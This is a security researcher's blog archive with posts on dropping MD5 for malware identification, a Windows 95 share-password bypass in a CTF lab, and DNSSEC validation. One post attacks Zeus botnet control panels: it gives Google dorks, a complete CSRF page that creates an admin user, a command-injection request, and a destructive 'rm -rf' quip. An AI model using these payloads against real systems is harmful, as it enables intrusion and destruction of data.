Pages

Tuesday, March 25, 2014

Stop using MD-5, now!

TL;DR: Don't use MD-5 to identify malware samples. Believe me, it is a bad idea. Use SHA-256 or a stronger hash function.

This post is dedicated to all malware researchers, still using MD-5 to identify malware samples.

Before deep-diving into the details, let me explain my view on this topic. Whenever you want to identify a malware, it is only OK to publish the MD-5 hash of the malware if you post at least the SHA-256 hash of the malware as well. Publishing only the MD-5 hash is unprofessional. If you want to understand why, please continue reading. If you know about the problem, but want to help me spread the word, please link to my site www.stopusingmd5now.com.

By writing articles/posts/etc. and publishing the MD-5 hash only, it is the lesser problem that you show people your incompetency about hash functions, but you also teach other people to use MD-5. And it spreads like a disease... Last but not least, if I find a sample on your blog post, and you use MD-5 only, I can't be sure we have the same sample.

Here is a list to name a few bad examples (order is in Google search rank order):


Introduction to (cryptographic) hash functions

A long time ago (according to some sources since 1970) people started designing hash functions, for an awful lot of different reasons. It can be used for file integrity verification, password verification, pseudo-random generation, etc. But one of the most important properties of a cryptographic hash function is that it can "uniquely" identify a block of data with a small, fixed bit string. E.g., malware can be identified by using only the hash itself, so everybody who has the same malware sample will have the same hash; thus they can refer to the malware by the hash itself.

It is easy to conclude that there will always be collisions, where a different block of data has the same result hashes. The domain (block of data) is infinite, while the codomain (possible hash values) is finite. The question is how easy it is to find two different blocks of data, having the same hash. Mathematicians call this property "collision resistance." Proper cryptographic hash functions are collision-resistant, meaning it is impractical or impossible to find two different blocks of data, which have the same hash.

In 1989 Ronald Rivest (the first letter in the abbreviation of the RSA algorithm) designed the MD-2 hashing algorithm. Since 1997 there are publications about that this hashing algorithm is far from perfect.

In 1990 Ronald Rivest designed the MD-4 algorithm, which is considered as broken at least from 1991. But MD-4 is still in use from Windows XP until Windows 8 in the password protocol (NTLM). Unfortunately, there are more significant problems with NTLM besides using MD-4, but this can be the topic of a different blog post.

In 1991 (you might guess who) designed yet another hashing algorithm called MD-5, to replace MD-4  (because of the known weaknesses). But again, in from 1993 it has been shown many times that MD-5 is broken as well. According to Wikipedia, "On 18 March 2006, Klima published an algorithm [17] that can find a collision within one minute on a single notebook computer, using a method he calls tunneling". This means, that with the 8 years old computing power of a single notebook one can create two different files having the same MD-5 hash. But the algorithms to generate collisions have been improved since, and "a 2013 attack by Xie Tao, Fanbao Liu, and Dengguo Feng breaks MD-5 collision resistance in 2^18 time. This attack runs in less than a second on a regular computer." The key takeaway here is that it is pretty damn hard to design a secure cryptographic hash function, which is fast, but still safe. I bet that if I would develop a hash function, Ron would be able to hack it in minutes.

Now, dear malware researcher, consider the following scenario. You as, a malware analyst, find a new binary sample. You calculate the MD-5 hash of the malware, and Google for that hash. You see this hash value on other malware researchers or on a sandbox/vendor's site. This site concludes that this sample does this or that, and is either malicious or not. Either because the site is also relying solely on MD-5 or because you have only checked the MD-5 and the researcher or sandbox has a good reputation, you move on and forget this binary. But in reality, it is possible that your binary is totally different than the one analyzed by others. The results of this mistake can scale from nothing to catastrophic.

If you don't believe me, just check the hello.exe and erase.exe on this site from Peter Sellinger. Same MD-5, different binaries; a harmless and a (fake) malicious one... And you can do the same easily at home. No supercomputers,  no NSA magic needed.

On a side-note, it is important to mention that even today it can be hard to find a block of data (in generic), if only the MD-5 hash is known ("pre image resistance"). I have heard people arguing this when I told them using MD-5 as a password hash function is a bad idea. The main problem with MD-5 as a password hash is not the weaknesses in MD-5 itself, but the lack of salt, lack of iterations, and lack of memory hardness. But still, I don't see any reason why you should use MD-5 as a building block for anything, which has anything to do with security. Would you use a car to drive your children to the school, which car has not been maintained in the last 23 year? If your answer is yes, you should neither have children nor a job in IT SEC.

Conclusion

If you are a malware researcher, and used MD-5 only to identify malware samples in the past, I suggest to write it down 1000 times: "I promise I won't use MD-5 to identify malware in the future."

I even made a website dedicated to this problem, www.stopusingmd5now.com . The next time you see a post/article/whatever where malware is identified by the MD-5 hash only, please link to this blog post or website, and the world will be a better and more professional place.


PS: If you are a forensics investigator, or software developer developing software used in forensics, the same applies to you.
PS 2: If you find this post too provocative and harsh, there is a reason for this ...

Update: I have modified two malware (Citadel, Atrax) with the help of HashClash, and now those have the same MD-5. Many thanks for Marc Stevens for his research, publishing his code, and help given during the collision finding.

Friday, February 14, 2014

Attacking financial malware botnet panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html>
<head>
    <title></title>
</head>
<body>
    <pre>
  This is a CSRF POC to create a new admin user in Zeus admin panels.
  Username: user_1392719246 Password: admin1
  You might change the URL from 127.0.0.1.
  Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.  
</pre>
<iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>
    <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">
 <input name="name" type="hidden" value="user_1392719246" /> 
 <input name="password" type="hidden" value="admin1" /> 
 <input name="status" type="hidden" value="1" /> 
 <input name="comment" type="hidden" value="PWND!" />
 <input name="r_botnet_bots" type="hidden" value="1" /> 
 <input name="r_botnet_scripts" type="hidden" value="1" /> 
 <input name="r_botnet_scripts_edit" type="hidden" value="1" /> 
 <input name="r_edit_bots" type="hidden" value="1" /> 
 <input name="r_reports_db" type="hidden" value="1" /> 
 <input name="r_reports_db_edit" type="hidden" value="1" /> 
 <input name="r_reports_files" type="hidden" value="1" />
 <input name="r_reports_files_edit" type="hidden" value="1" />
 <input name="r_reports_jn" type="hidden" value="1" /> 
 <input name="r_stats_main" type="hidden" value="1" /> 
 <input name="r_stats_main_reset" type="hidden" value="1" /> 
 <input name="r_stats_os" type="hidden" value="1" /> 
 <input name="r_system_info" type="hidden" value="1" /> 
 <input name="r_system_options" type="hidden" value="1" />
 <input name="r_system_user" type="hidden" value="1" /> 
 <input name="r_system_users" type="hidden" value="1" />
    </form>
<script type="text/javascript">
 window.onload=function(){ 
  var counter = 10;
  var interval = setInterval(function() {
   counter--;
   document.getElementById('countdown').innerHTML = counter;
   if (counter == 0) {
    redirect();
    clearInterval(interval);
   }
  }, 1000);
 };
    function redirect() {
  document.getElementById("csrf-form").submit();
    }
    </script>
</body>
</html>
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){
   ...
   $archive .= '.zip';
   $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
   exec($cli, $e, $r);
}

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)

Sunday, February 2, 2014

Hacking Windows 95, part 1

During a CTF game, we came across very-very old systems. Turns out, it is not that easy to hack those dinosaur old systems, because modern tools like Metasploit do not have sploits for those old boxes and of course our "133t h4cking skillz" are useless without Metasploit... :)

But I had an idea: This can be a pretty good small research for fun.

The rules for the hack are the following:
  1. Only publicly available tools can be used for this hack, so no tool development. This is a CTF for script bunniez, and we can't haz code!
  2. Only hacks without user interaction are allowed (IE based sploits are out of scope).
  3. I need instant remote code execution. For example, if I can drop a malware to the c: drive, and change autoexec.bat, I'm still not done, because no one will reboot the CTF machine in a real CTF for me. If I can reboot the machine, that's OK.
  4. I don't have physical access.
I have chosen Windows 95 for this task. First, I had to get a genuine Windows 95 installer, so I visited the Microsoft online shop and downloaded it from their official site.

I installed it in a virtualized environment (remember, you need a boot floppy to install from the CD), and it hit me with a serious nostalgia bomb after watching the installer screens. "Easier to use", "faster and more efficient", "high-powered performance", "friendly", "intuitive interface". Who does not want that? :)






Now that I have a working Windows 95 box, setting up the TCP/IP is easy, let's try to hack it!

My first tool is always nmap. Let's scan the box! Below I'm showing the interesting parts from the result:

PORT      STATE           SERVICE       VERSION
139/tcp   open            netbios-ssn
137/udp   open|filtered   netbios-ns
138/udp   open|filtered   netbios-dgm
Running: Microsoft Windows 3.X|95
OS details: Microsoft Windows for Workgroups 3.11 or Windows 95
TCP Sequence Prediction: Difficulty=25 (Good luck!)
IP ID Sequence Generation: Broken little-endian incremental

The first exciting thing to note is that there is no port 445! Port 445 is only since NT 4.0. If you check all the famous windows sploits (e.g., MS03-026, MS08-067), all of them use port 445 and named pipes. But there are no named pipes on Windows 95!

Because I'm a Nessus monkey, let's run a free Nessus scan on it!

Only one critical vulnerability found:
Microsoft Windows NT 4.0 Unsupported Installation Detection

Thanks for nothing, Nessus! But at least it was for free.

Next, I tried GFI Languard, nothing. It detected the machine as Win95, the opened TCP port, and some UDP ports as open (false-positive), and that's all...

Let's try another free vulnerability scanner tool, Nexpose. The results are much better:
  • CIFS NULL Session Permitted  
  • Weak LAN Manager hashing permitted
  • SMB signing not required
  • Windows 95/98/ME Share Level Password Bypass   
  • TCP Sequence Number Approximation Vulnerability  
  • ICMP netmask response
  • CIFS Share Readable By Everyone
I think the following vulnerabilities are useless for me at the moment:
  • Weak LAN Manager hashing permitted - without user interaction or services looking at the network, useless (I might be wrong here, will check this later)
  • TCP Sequence Number Approximation Vulnerability - not interesting
  • ICMP netmask response - not interesting
  • CIFS Share Readable By Everyone - unless there is a password in a text file, useless
But we have two interesting vulns:
  • CIFS NULL Session Permitted  - this could be interesting, I will check this later ...
  • Windows 95/98/ME Share Level Password Bypass - BINGO!
Let me quote Nexpose here:

"3.2.3 Windows 95/98/ME Share Level Password Bypass (CIFS-win9x-onebyte-password)

A flaw in the Windows 95/98/ME File and Print Sharing service allows unauthorized users to access file and print shares by sending the first character of the password. Due to the limited number of attempts required to guess the password, brute force attacks can be performed in just a few seconds.

Established connection to share TEST with password P."

The vulnerability description at MS side:

For example if the password is "Password" (without quotes) and the client sends the password "P" (without quotes) and the length of 1, the client is authenticated. To find the rest of the password, the attacker increments the length to 2 and starts guessing the second letter until he reaches "PA" and gets authenticated again. As share passwords in Windows 95 are not case sensitive, "Pa" and "PA" will also be accepted. The attacker can continue to increment the length and guessing the next letter one-by-one until he gets the full "PASSWORD" (as the maximum length is 8 characters).

I believe all characters between ALT+033 and ALT+255 can be used in the share password in Windows 95, but as it is case insensitive, we have 196 characters to use, and a maximum length of 8 characters. In worst case this means that we can guess the full password in 1568 requests. The funny thing is that the share password is not connected to (by default) any username/account, and it cannot be locked via brute force.

Luckily there is a great tool which can exploit this vulnerability:

Let's check this tool in action:


W00t w00t, it brute forced the password in less then 2 seconds!

Looking at a wireshark dump we can see how it is done:


As you can see, in the middle of the dump we can see that it already guessed the part "PASS" and it is brute-forcing the fifth character, it founds that "W" is the correct fifth character, and starts brute-forcing the sixth character.

If we are lucky with the CTF, the whole C:\ drive is shared with full read-write access, and we can write our team identifier into the c:\flag.txt. But what if we want remote code execution? Stay tuned, this is going to be the topic of the next part of this post.

Saturday, January 25, 2014

DNSSEC, from an end-user perspective, part 3

In the first post of this DNSSEC series, I have shown the problem (DNS vulnerabilities), and in the second post, the "solution." In this third post, I am going to analyze DNSSEC. Can DNSSEC protect the users against all of the attacks? Or just part of them? What about corner cases?

The following list are the attack types from the first post, where DNSSEC can protect the users:

  • DNS cache poisoning the DNS server, "Da Old way"
  • DNS cache poisoning, "Da Kaminsky way"
  • ISP hijack, for advertisement or spying purposes
  • Captive portals
  • Pentester hijacks DNS to test application via active man-in-the-middle
  • Malicious attacker hijacks DNS via active MITM

The following list are the attack types from the first post, where DNSSEC cannot protect the users:

  • Rogue DNS server set via malware
  • Having access to the DNS admin panel and rewriting the IP
  • ISP hijack, for advertisement or spying purposes
  • Captive portals
  • Pentester hijacks DNS to test application via active man-in-the-middle
  • Malicious attacker hijacks DNS via active MITM

If you are a reader who thinks while reading, you might say "What the hell? Am I protected or not???". The problem is that it depends… In the case where the attacker is between you and your DNS server, the attacker can impersonate the DNS server, downgrade it to a non DNSSEC aware one, and send responses without DNSSEC information.

Now, how can I protect against all of these attacks? Answer is "simple":
  1. Configure your own DNSSEC aware server on your localhost, and use that as a resolver. This is pretty easy, even I was able to do it using tutorials.
  2. Don't let malware run on your system! ;-)
  3. Use at least two-factor authentication for admin access of your DNS admin panel.
  4. Use a registry lock (details in part 1).
  5. Use a DNSSEC aware OS.
  6. Use DNSSEC protected websites.
  7. There is a need for an API or something, where the client can enforce DNSSEC protected answers. In case the answer is not protected with DNSSEC, the connection can not be established.

Now some random facts, thoughts, solutions around DNSSEC:

That's all folks, happy DNSSEC configuring ;-)

Note from David:
Huh, I have just accidentally deleted this whole post from Z, but then I got it back from my browsing cache. Big up to Nir Sofer for his ChromeCacheView tool! Saved my ass from kickin'! :D

Monday, January 6, 2014

DNSSEC, from an end-user perspective, part 2

In our previous blog post, we have discussed some of the threats against current DNS systems, where the result was that the victim landed on a different resource/website as he/she originally supposed to visit.

Since this is not a guide for DNS server operators about DNSSEC implementation, let's jump to the user side and see what you should know if you visit a website where DNSSEC validation fails (like the test site http://www.dnssec-failed.org/) and you use a DNS server which validates the DNSSEC responses (e.g., 8.8.8.8 - Google public DNS server):


So far, so good :-) The malicious attacker's evil plan has failed. But what should you see when the server is protected with DNSSEC, and the DNSSEC response is valid/trusted?


Please note that this "green key" stuff is for experimental purposes only. I hope the users should not have to look for another SSL-like padlock in their browser in the future. The critical thing here is that the site has been rendered by the browser, and the response is protected by DNSSEC, thus eliminating lots of threats.

When you visit a site that is protected by DNSSEC, but your DNS server does not validate the DNSSEC, the site will be served and rendered in your browser. It does not matter if it has untrusted or invalid DNSSEC records. This is the same experience what you have today with no DNSSEC at all:


OK, so we, as end-users, need sites/domains which are protected with DNSSEC, and a DNS server which validates the DNSSEC records. We have the DNS server (thx Google!), so let's find some popular sites which are using DNSSEC!


To demonstrate my 133t h4cking skills, here is a small bash script. You give a file with the list of domains as a first parameter to the bash script, and it will give you back the areas protected with DNSSEC.

#!/bin/bash
dig . DNSKEY | grep -Ev '^($|;)' > root.keys
while read line
do
    if dig +sigchase +trusted-key=root.keys $line. A @8.8.8.8 | grep --quiet "DNSSEC validation is ok: SUCC"; then
        echo $line
    fi
done < $1

Alexa was not kind enough to give me a recent list of top sites in text format, so I have used http://moz.com/top500 for this test.

The results were quite shocking; the first result was at TOP40: gov.uk - but when you visit gov.uk via browser, it is redirected to a subdomain that is not protected with DNSSEC, so this kind of behavior is considered as FAIL.

TOP69: nih.gov  - so ironically, the winner is the National Institute of Health :P

Other interesting one where:

mozilla.org - FAIL 
cdc.gov - FAIL
nasa.gov - FAIL :(
ca.gov  - California homepage, don't mess with Arnie!
noaa.gov - National Oceanic and Atmospheric Administration :)
berkeley.edu - thank god the world of universities is saved
loc.gov - FAIL
whitehouse.gov - FAIL …

I think I have never ever visited these websites before, except the Berkeley one. If you can find a financial institution which website's domain is protected by DNSSEC, let me know. I was not able to find one… For example, paypal.com is a bad example. The main domain is protected with DNSSEC, but not the www.paypal.com.

In the next part of our DNSSEC series, I will write about the threats eliminated by DNSSEC and some other exciting things.